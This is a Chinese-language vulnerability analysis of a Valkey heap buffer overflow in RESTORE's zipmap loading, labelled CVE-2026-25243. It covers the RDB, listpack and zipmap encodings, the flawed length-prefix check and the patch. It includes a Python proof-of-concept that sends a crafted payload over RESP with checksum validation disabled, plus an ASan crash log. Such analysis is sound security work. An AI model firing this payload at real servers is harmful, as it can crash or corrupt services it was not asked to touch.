git checkout fea0b4064^ # 修复前一版的commit

/* RESTORE key ttl serialized-value [REPLACE] [ABSTTL] [IDLETIME seconds] [FREQ frequency] */
// RESTORE command：将rdb格式的序列化值反序列化，重新生成内存中的键值对.
void restoreCommand(client *c) {
	......
	/* Verify RDB version and data checksum. */
	// 验证RDB的格式 算校验和 ---> 这个校验你可以跳过，但是攻击者也可以直接构造一个正确的CRC来注入
    if (verifyDumpPayload(objectGetVal(c->argv[3]), sdslen(objectGetVal(c->argv[3])), &rdbver) == C_ERR) {
        addReplyError(c, "DUMP payload version or checksum are wrong");
        return;
    }

    rioInitWithBuffer(&payload, objectGetVal(c->argv[3]));
    type = rdbLoadObjectType(&payload);
    ...
    // 这里是开始真正加载某个对象
    obj = rdbLoadObject(type, &payload, objectGetVal(key), c->db->id, NULL, RDBFLAGS_NONE, 0);
    if (obj == NULL) {
        addReplyError(c, "Bad data format");
        return;
    }
    ......
}

[type 1B][RDB 编码的对象体][RDB version 2B LE][CRC64 8B LE]

/* Map object types to RDB object types. Macros starting with OBJ_ are for
 * memory storage and may change. Instead RDB types must be fixed because
 * we store them on disk. */
enum RdbType {
    RDB_TYPE_STRING = 0,
        RDB_TYPE_LIST = 1,
        RDB_TYPE_SET = 2,
        RDB_TYPE_ZSET = 3,
        RDB_TYPE_HASH = 4,
        RDB_TYPE_ZSET_2 = 5, /* ZSET version 2 with doubles stored in binary. */
        RDB_TYPE_MODULE_PRE_GA = 6, /* Used in 4.0 release candidates */
        RDB_TYPE_MODULE_2 = 7,
        /* Module value with annotations for parsing without \
the generating module being loaded. */
        RDB_TYPE_HASH_ZIPMAP = 9,  // 可以看到这里就是本次漏洞所在,HASH_ZIPMAP 9
        RDB_TYPE_LIST_ZIPLIST = 10,
        RDB_TYPE_SET_INTSET = 11,
        RDB_TYPE_ZSET_ZIPLIST = 12,
        RDB_TYPE_HASH_ZIPLIST = 13,
        RDB_TYPE_LIST_QUICKLIST = 14,
        RDB_TYPE_STREAM_LISTPACKS = 15,
        RDB_TYPE_HASH_LISTPACK = 16, /* Added in RDB 10 (7.0) */
        RDB_TYPE_ZSET_LISTPACK = 17,
        RDB_TYPE_LIST_QUICKLIST_2 = 18,
        RDB_TYPE_STREAM_LISTPACKS_2 = 19,
        RDB_TYPE_SET_LISTPACK = 20, /* Added in RDB 11 (7.2) */
        RDB_TYPE_STREAM_LISTPACKS_3 = 21,
        RDB_TYPE_HASH_2 = 22, /* Hash with field-level expiration, RDB 80 (9.0) */
        RDB_TYPE_LAST
};

/* Load an Object of the specified type from the specified file.
 * On success a newly allocated object is returned, otherwise NULL.
 * When the function returns NULL and if 'error' is not NULL, the
 * integer pointed by 'error' is set to the type of error that occurred */
// 从某个特定的文件中加载某个特定类型的对象
// 成功的话，返回在内存中分配的对象，失败就返回NULL
robj * rdbLoadObject(int rdbtype, rio * rdb, sds key, int dbid, int * error, int rdbflags, mstime_t now) {
        ......
        /* Fix the object encoding, and make sure to convert the encoded
         * data type into the base type if accordingly to the current
         * configuration there are too many elements in the encoded data
         * type. Note that we only check the length and not max element
         * size as this is an O(N) scan. Eventually everything will get
         * converted. */
        switch (rdbtype) {
            case RDB_TYPE_HASH_ZIPMAP:
                /* Since we don't keep zipmaps anymore, the rdb loading for these
                 * is O(n) anyway, use `deep` validation. */
                if (!zipmapValidateIntegrity(encoded, encoded_len, 1)) {
                    rdbReportCorruptRDB("Zipmap integrity check failed.");
                    zfree(encoded);
                    objectSetVal(o, NULL);
                    decrRefCount(o);
                    return NULL;
                }
                /* Convert to ziplist encoded hash. This must be deprecated
                 * when loading dumps created by Redis OSS 2.4 gets deprecated. */
                {
                    unsigned char * lp = lpNew(0);
                    unsigned char * zi = zipmapRewind(objectGetVal(o));
                    unsigned char * fstr, * vstr;
                    unsigned int flen, vlen;
                    unsigned int maxlen = 0;
                    hashtable * dupSearchHashtable = hashtableCreate( & setHashtableType);
                    while ((zi = zipmapNext(zi, & fstr, & flen, & vstr, & vlen)) != NULL) {
                        if (flen > maxlen) maxlen = flen;
                        if (vlen > maxlen) maxlen = vlen;
                        /* search for duplicate records */
                        sds field = sdstrynewlen(fstr, flen);
                        int field_added = field && hashtableAdd(dupSearchHashtable, field);
                        if (!field_added || !lpSafeToAdd(lp, (size_t) flen + vlen)) {
                            rdbReportCorruptRDB("Hash zipmap with dup elements, or big length (%u)", flen);
                            hashtableRelease(dupSearchHashtable);
                            if (!field_added) sdsfree(field);
                            zfree(encoded);
                            zfree(lp);
                            objectSetVal(o, NULL);
                            decrRefCount(o);
                            return NULL;
                        }
                        lp = lpAppend(lp, fstr, flen);
                        lp = lpAppend(lp, vstr, vlen);
                    }
                }
                ......
        }

[listpack 总字节数][listpack 元素数量][listpack entry][listpack entry][listpack entry][listpack 结尾标识]

#define LP_HDR_SIZE 6 /* 32 bit total len + 16 bit number of elements. */
#define LP_HDR_NUMELE_UNKNOWN UINT16_MAX
// ...
#define lpGetTotalBytes(p) \
    (((uint32_t)(p)[0] << 0) | ((uint32_t)(p)[1] << 8) | ((uint32_t)(p)[2] << 16) | ((uint32_t)(p)[3] << 24))

#define lpGetNumElements(p) (((uint32_t)(p)[4] << 0) | ((uint32_t)(p)[5] << 8))

+----------+----------+----------+----------+----------+----------+-----+ ... +-----+
| total    | total    | total    | total    | numele   | numele   |entry|     |0xFF |
| bytes    | (LE 32)  |          |          | (LE 16)  |          |  1  |     | EOF |
+----------+----------+----------+----------+----------+----------+-----+ ... +-----+
|<------------------------ LP_HDR_SIZE = 6 ------------------------>|<-- entries -->|

[ encoding + payload ... ][ backlen ]

/* Each entry in the listpack is either a string or an integer. */
// 每个entry都被解释称一个字符串或者整数
typedef struct {
    /* When string is used, it is provided with the length (slen). */
    // 这里就指向listpack内部的对应缓冲区
    unsigned char *sval;
    uint32_t slen;
    /* When integer is used, 'sval' is NULL, and lval holds the value. */
    long long lval;
} listpackEntry;

[zmlen 1B][field len 前缀][field 数据][value len 前缀][free 1B][value 数据] ... [0xFF END]

static unsigned int zipmapDecodeLength(unsigned char *p) {
    unsigned int len = *p;
    if (len < ZIPMAP_BIGLEN) return len;
    memcpy(&len, p + 1, sizeof(unsigned int));
    memrev32ifbe(&len);
    return len;
}

static unsigned int zipmapEncodeLength(unsigned char *p, unsigned int len) {
    ...
    return ZIPMAP_LEN_BYTES(len);  /* l<254 → 1 字节，否则 5 字节 */
}

static unsigned int zipmapGetEncodedLengthSize(unsigned char *p) {
    return (*p < ZIPMAP_BIGLEN) ? 1 : 5;  /* 看线上首字节，不看解码值 */
}

static unsigned int zipmapRawKeyLength(unsigned char *p) {
    unsigned int l = zipmapDecodeLength(p);
    return zipmapEncodeLength(NULL, l) + l;  /* 按解码值 l 重算前缀宽度 */
}

fe 03 00 00 00   → 线上 5 字节编码，解码 l = 3
61 62 63         → "abc"

buffer: [02][fe 03 00 00 00][a][b][c][03][00][def]...
校验 p ──每次按 5 字节前缀走
迭代 zi ──第一次只按 1 字节前缀走 → 错位 → 误读 0x61 为长度 97

#!/usr/bin/env python3

"""
CVE-2026-25243 PoC — same bytes & flow as tests/unit/dump.tcl (fea0b4064).

DEBUG SET-SKIP-CHECKSUM-VALIDATION 1
RESTORE zipmap_test 0 <binary payload>
DEBUG SET-SKIP-CHECKSUM-VALIDATION 0

Payload contains NUL bytes; must use RESP socket (valkey-cli argv cannot carry it).
Start server like runtest {needs:debug}:
./src/valkey-server --port 6379 --enable-debug-command yes
python3 exploit.py
# or: ./runtest --single tests/unit/dump.tcl -match '*CVE-2026-25243*'
"""
from __future__ import annotations

import argparse
import socket
import sys

# Exact bytes from tests/unit/dump.tcl (36 bytes; footer = 0x50 0x00 + 8-byte CRC)
# 这里就是直接从官方的测试用例中构造的
PAYLOAD = bytes.fromhex(
"091802fe0300000061626303006465660367686903006a6b6cff"
"50000000000000000000"
)

KEY = "zipmap_test"

def resp_command(*args: str | bytes) -> bytes:
parts: list[bytes] = []
for a in args:
if isinstance(a, str):
a = a.encode()
parts.append(f"${len(a)}\r\n".encode() + a + b"\r\n")
return b"*" + str(len(parts)).encode() + b"\r\n" + b"".join(parts)

def run_poc(host: str, port: int) -> str:
"""Same command sequence as dump.tcl CVE-2026-25243 test."""
pipeline = b"".join(
[
resp_command("DEBUG", "SET-SKIP-CHECKSUM-VALIDATION", "1"),
resp_command("RESTORE", KEY, "0", PAYLOAD),
resp_command("DEBUG", "SET-SKIP-CHECKSUM-VALIDATION", "0"),
resp_command("EXISTS", KEY),
]
)
with socket.create_connection((host, port), timeout=5) as s:
s.sendall(pipeline)
return s.recv(65536).decode("utf-8", errors="replace")
  

def main() -> None:
ap = argparse.ArgumentParser(description="CVE-2026-25243 (dump.tcl PoC)")
ap.add_argument("--host", default="127.0.0.1")
ap.add_argument("--port", type=int, default=6379)
ap.add_argument("--hex", action="store_true", help="Print payload hex and exit")
args = ap.parse_args()

if args.hex:
print(f"payload ({len(PAYLOAD)} bytes): {PAYLOAD.hex()}")
return
  
print(f"[*] payload {len(PAYLOAD)} bytes (tests/unit/dump.tcl)")
print(f"[*] {args.host}:{args.port} via RESP")
  
try:
out = run_poc(args.host, args.port)
except OSError as e:
print(f"[!] connect failed: {e}", file=sys.stderr)
sys.exit(1)
  
print(out)
  
if "DEBUG command not allowed" in out:
print(
"\n[!] 需要开启 DEBUG（与 runtest needs:debug 一致）：\n"
" ./src/valkey-server --port 6379 --enable-debug-command yes",
file=sys.stderr,
)
sys.exit(1)
  
if "checksum are wrong" in out:
print(
"\n[!] CRC 仍失败：DEBUG 必须用 1/0（不能用 yes/no，atoi(\"yes\")==0）。",
file=sys.stderr,
)
sys.exit(1)
  
if "Bad data format" in out:
print(
"\n[+] 与 Tcl 一致：Bad data format（已打补丁时正常）。"
"\n 未打补丁 + ASan：请看 server 终端 heap-buffer-overflow @ zipmapNext。"
)
elif "Connection refused" in out or not out.strip():
print("\n[!] server 可能已崩溃（漏洞版 ASan 常见），请查看 server 日志。", file=sys.stderr)
else:
print("\n[?] 对照 server / ASan 输出。")
  
if __name__ == "__main__":
main()

./src/valkey-server --port 6379 --enable-debug-command yes # 注意，这里需要开启debug指令
python3 exploit.py

==357339==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x7ba013ff9d58 at pc 0x5572590288b4 bp 0x7ffcf1d6f870 sp 0x7ffcf1d6f860

09 18 02 fe 03 00 00 00 61 62 63 03 00 64 65 66 03 67 68 69 03 00 6a 6b 6c ff 50 00 + 8字节 CRC

l = zipmapDecodeLength(p);
/* 解码长度 < 254 时，线上编码必须只占 1 字节 */
if (l < ZIPMAP_BIGLEN && s != 1)
    return 0;